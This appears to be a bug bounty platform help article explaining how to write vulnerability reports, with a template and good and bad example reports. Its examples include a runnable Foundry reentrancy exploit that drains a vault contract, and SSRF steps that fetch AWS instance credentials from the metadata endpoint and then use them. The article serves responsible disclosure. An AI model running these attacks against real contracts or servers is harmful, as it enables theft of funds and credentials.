Once you’ve found a bug, there’s only one thing that stands in the way of you becoming a web3 bug bounty hunter legend: the bug report itself. This critical aspect of bug hunting is often overlooked by whitehats, but it’s vital to your success.
You might identify bugs that completely ruin a project or seriously impair it, but that won’t matter if you submit a three-line bug report that fails to communicate the severity of the situation. In your pursuit of a bug bounty reward, you must be careful, thoughtful, and specific when crafting your report.
If you put more effort into your bug reports, it will literally pay off!
To help increase the likelihood of your submissions being accepted, we have created a bug report template to guide you through the process of writing a high-quality bug report.
Before we dive into the template, please remember the following:
- Every section of the bug report on our dashboard must be filled in. DO NOT put everything in the Bug Description section. Also, be sure to put the PoC in the Proof of Concept field to make the report more readable and to ensure that it will be escalated to the project.
- Do not write out a custom impact in the submission. Pick the impacts from the project impacts list.
- Do not write a custom asset in the submission. Pick the asset from the project assets list.
- The Immunefi Dashboard supports Markdown format. If you’d like to add some screenshots, title them accordingly, and refer to the screenshot title in the bug report.
- For the PoC video, you can use a Google Drive link and include the password in the description
With all of that in mind, let’s dive in.
Bug Report Template
Title
The bug report title is the first thing that the project reads before any other section. The title should be descriptive enough to include some sort of vulnerability classification and the impact it creates. A good example would be something like, “Reentrancy in withdraw function leads to total loss of funds”, “Lack of access control in update function leads to griefing”, “Arithmetic error in calculateTotalRewards can temporarily freeze unclaimed yield”.
After reading it, the project should have a basic understanding of what the rest of the bug report is about.
Bug Description
The bug description should be clear and concise, but being clear is the most important part. You should put yourself in the shoes of the project team and ask yourself the question: Am I describing the vulnerability and its impact clearly, accurately, and without any unnecessary assumptions?
Brief/Intro
Provide a very short and concise (one paragraph) statement on what the problem is, and what the consequences would be if the bug were exploited in the wild.
Details
Offer a detailed explanation of the vulnerability itself. Do not leave out any relevant information. Code snippets should be supplied whenever helpful, as long as they don’t overcrowd the report with unnecessary details. This section should make it obvious that you understand exactly what you’re talking about, and more importantly, it should be clear by this point that the vulnerability does exist.
Impact
This section is where you provide a detailed breakdown of possible losses from an exploit, especially if there are funds at risk. This illustrates the severity of the vulnerability, but it also provides the best possible case for you to be paid your fair share. Make sure the selected impact is within the project’s list of in-scope impacts.
Risk Breakdown
You should assess how difficult it is to exploit the disclosed vulnerability. The NIST’s Common Vulnerability Scoring System Calculator is not well-suited for addressing a blockchain/DLT bug. We recommend using the Immunefi Vulnerability Severity Classification System instead.
Recommendation
You should include a recommendation on how to fix the bug (or mitigate the impact) in this section. Once again, this actually helps make the case for a good payout, as it illustrates your expertise and further explains the underlying vulnerability.
References
In this section, you are welcome to add any relevant links to documentation or smart contracts. But most importantly, this is where you write the Proof of Concept (when required).
Proof of Concept
This section is crucial, because it makes the vulnerability “real” in a way that nothing else can. Unfortunately, this is also the section that whitehats most often fail to fill out correctly. The first and most important component of a successful proof of concept (PoC) is that it should be runnable exploit code…
- not a list of steps (even though this can exist somewhere in the report)
- not pseudo-code
- not just the project’s smart contracts
…but an actual, runnable attack vector. A valid PoC might be an attack script (a Hardhat/Foundry test file, for example), a smart contract with functions that can trigger the exploit, or any code that manages to somehow exploit the project’s vulnerability.
See Immunefi’s Help Center article for more PoC guidelines and rules.
Examples of Good Bug Reports that Use the Above Template
Example NO. 1
Title: Reentrancy in withdraw leads to complete loss of funds
Bug Description
There’s a reentrancy vulnerability on the withdraw function inside the Vault contract. An attacker can leverage that vulnerability to drain all funds from the contract.
Brief/Intro
The withdraw function in the Vault contract is not implementing any sort of reentrancy guard, nor is it following the checks-effects-interactions pattern. Because of that, and also because there’s no risk of underflow on the user’s balance, the attacker can reenter the function until all funds are drained from the contract, leading to complete protocol insolvency.
Details
The vulnerable function transfers ether through a low-level call, and it does this before setting the user’s balance to 0.
functionwithdraw() external {
require(balanceOf[msg.sender] > 0);
(bool success,) = msg.sender.call{value: balanceOf[msg.sender]}("");
require(success);
balanceOf[msg.sender] = 0;
}
Once the user’s ether balance is transferred, the user gains control of the execution. Since the balance variable hasn’t yet been changed, the attacker can call withdraw once again and the same amount of funds will get transferred.
Impact
By using the deposit function to add X amount of balance, the hacker can then proceed to call withdraw to get X amount of money - Y number of times. In essence, an attacker can follow this procedure to drain all funds from the contract, which is an in-scope impact.
At the time of writing this bug report, the Vault contract has around $45m worth of vulnerable ETH.
Risk Breakdown
The vulnerability is fairly easy to exploit. Any attacker can deposit some ether on the Vault and reenter withdraw multiple times to withdraw much more than their balance. One could also do a flashloan to deposit more balance and drain all Vault funds in less reentering iterations.
Recommendation
A reentrancy lock will fix the issue. Still, it’s highly recommended to always follow the checks-effects-interactions pattern, even if the lock is implemented.
References
- A Broad Overview of Reentrancy Attacks in Solidity Contracts explained - step-by-step beginners guides | QuickNode
- Etherscan contract link
Proof of Concept
Here’s a Foundry test script which can be run against a local Ethereum fork.
pragmasolidity ^0.8.13;
import"forge-std/Test.sol";
import"forge-std/console.sol";
interfaceIVault {
functiondeposit() externalpayable;
functionwithdraw() external;
}
contractVaultTestis Test {
IVault vault = IVault(address(1234)); // PUT MAINNET ADDRESS
functionsetUp() public {
vm.deal(address(this), 1ether);
}
functiontestReentrancy() public {
vault.deposit{value: 1ether}();
vault.withdraw();
console.log("Attacker balance: %s", address(this).balance);
assertTrue(address(vault).balance < 1ether);
}
receive()externalpayable {
if (address(vault).balance >= 1ether) {
console.log("Reenter!");
vault.withdraw();
}
}
}
Example NO. 2
Title: SSRF allows users to gain AWS credentials
Bug Description
<COMPANY> makes use of Amazon AWS as its application environment. Due to a vulnerability in the way the proxy is implemented, an attacker can make arbitrary HTTP requests from the application server and read their responses. This vulnerability could lead to access to the <IP> Amazon EC2 instances with the AWS credential.
Brief/Intro
Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to unintended assets.
Details
By exploiting this vulnerability, an unauthorized attacker could gain access to the AWS environment. Note that the SSRF vulnerability could be abused in a variety of ways, not just limited to obtaining AWS credentials–for example, to enumerate and access services and web applications running on the internal network.
Vulnerable hosts:
https://<HOST>/
Proof Of Concept:
1) Browse to https://<HOST>/http://169.254.169.254/latest/meta-data/ to access AWS’s Metadata.
2) Now, browse to
https://<HOST>/http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance to obtain AWS credentials.
3) To check if the credentials are usable, we will use the AWS CLI. For the following commands, use the data from the above request and the region value.
$ export AWS_ACCESS_KEY_ID=""
$ export
AWS_SECRET_ACCESS_KEY=""
$ export AWS_DEFAULT_REGION=""
$ export AWS_SESSION_TOKEN="<>"
4) Now, run aws sts get-caller-identity.
Impact
The impact of SSRF can be significant, as it can allow an attacker to access and manipulate internal systems that are not accessible from the internet. This can include sensitive data, such as confidential documents, and potentially allow the attacker to gain unauthorized access to the network. SSRF can also be used to launch more sophisticated attacks, such as distributed denial of service (DDoS) attacks.
Risk Breakdown
The vulnerability is fairly easy to exploit, as it does not require authenticated access and could allow a user to gain access to AWS resources.
Recommendation
The most robust way to avoid SSRF is to whitelist the DNS name or IP address that your application needs to access. Besides that, you can rely on a blacklist approach. It's important to validate user input properly. For example, do not allow requests to private (non-routable) IP addresses (detailed in RFC 1918).
I would also recommend resetting all AWS access tokens. In addition, I recommend reviewing the Amazon access logs to investigate if this vulnerability has been exploited in the past.
Reference:
- https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/
- https://www.reblaze.com/blog/defeating-ssrf-attacks-on-aws/
- https://blog.appsecco.com/server-side-request-forgery-ssrf-and-aws-ec2-instances-after-instance-meta-data-service-version-38fc1ba1a28a
- https://www.rfc-editor.org/rfc/rfc1918
Examples of Bad Bug Reports that Don’t Use Our Template
Example NO. 1
Title: Vulnerability in Vault Contract
Bug Description
Reentrancy vulnerability on function inside the Vault contract.
Brief/Intro
The withdraw function in the Vault contract is vulnerable to reentrancy, so an attacker can drain all funds from the contract.
Details
The ether transfer inside withdraw allows a user to reenter. An attacker can use this to drain all funds, because the balance is changed in the end.
Impact
Full loss of funds.
Risk Breakdown
Easy exploit.
Recommendation
Add reentrancy guard to the function.
References
Proof of Concept
- Call withdraw
- This function will transfer funds to the user, so now we have the execution context
- Call withdraw again, and repeat until all funds are drained
___________________________________________________________________________________
Reasons this bug report is poorly written
This is a poor example because there is insufficient information for a triager or the project to reproduce the issue. Step-by-step instructions are not valid PoC. PoC stands for Proof of Concept, which is highlighted in the template itself. Write a runnable PoC that triagers and projects can easily run and use to verify the results on the mainnet-fork. Furthermore, the title itself isn’t descriptive enough. It should specify what type of vulnerability there is. The bug description is concise, but it is not clear enough. The impact section is too short and it does not provide a detailed breakdown of possible losses from the exploit, and it does not provide the funds at risk. Lastly, the risk breakdown section does not show how difficult it is to exploit the disclosed vulnerability in detail.
Example NO. 2
[Critical] SSRF on main domain
Bug Description
SSRF vulnerability allow user aws access
Brief/Intro
Server-side request forgery (also known as SSRF) is a web security vulnerability.
Details
Exploiting this vulnerability, an unauthorized attacker could gain access to the AWS environment. Note that the SSRF vulnerability could be abused in a variety of ways, not just limited to obtaining AWS credentials. For example, to enumerate and access services and web applications running on the internal network.
Vulnerable hosts:
https://<HOST>/
Proof Of Concept:
1) Browse to https://<HOST>/http://169.254.169.254/latest/meta-data/ to access AWS’s Metadata.
2) You can fuzz this endpoint and take over assets
Impact
Depends on the user's access
Risk Breakdown
Easy to exploit
Recommendation
- Read multiple writeups on SSRF
References
Proof of Concept
___________________________________________________________________________________
Reasons this bug report is poorly written
This is a poor example because there is insufficient information for a triager or the project to reproduce the issue. One of the most important factors in earning a good bounty is the bug bounty report itself, so be as clear and detailed as possible in explaining the issue and reproduction steps, as well as all the resources to back up as supporting material, as this will help the team understand the severity of the issue.
Comments
0 comments
Article is closed for comments.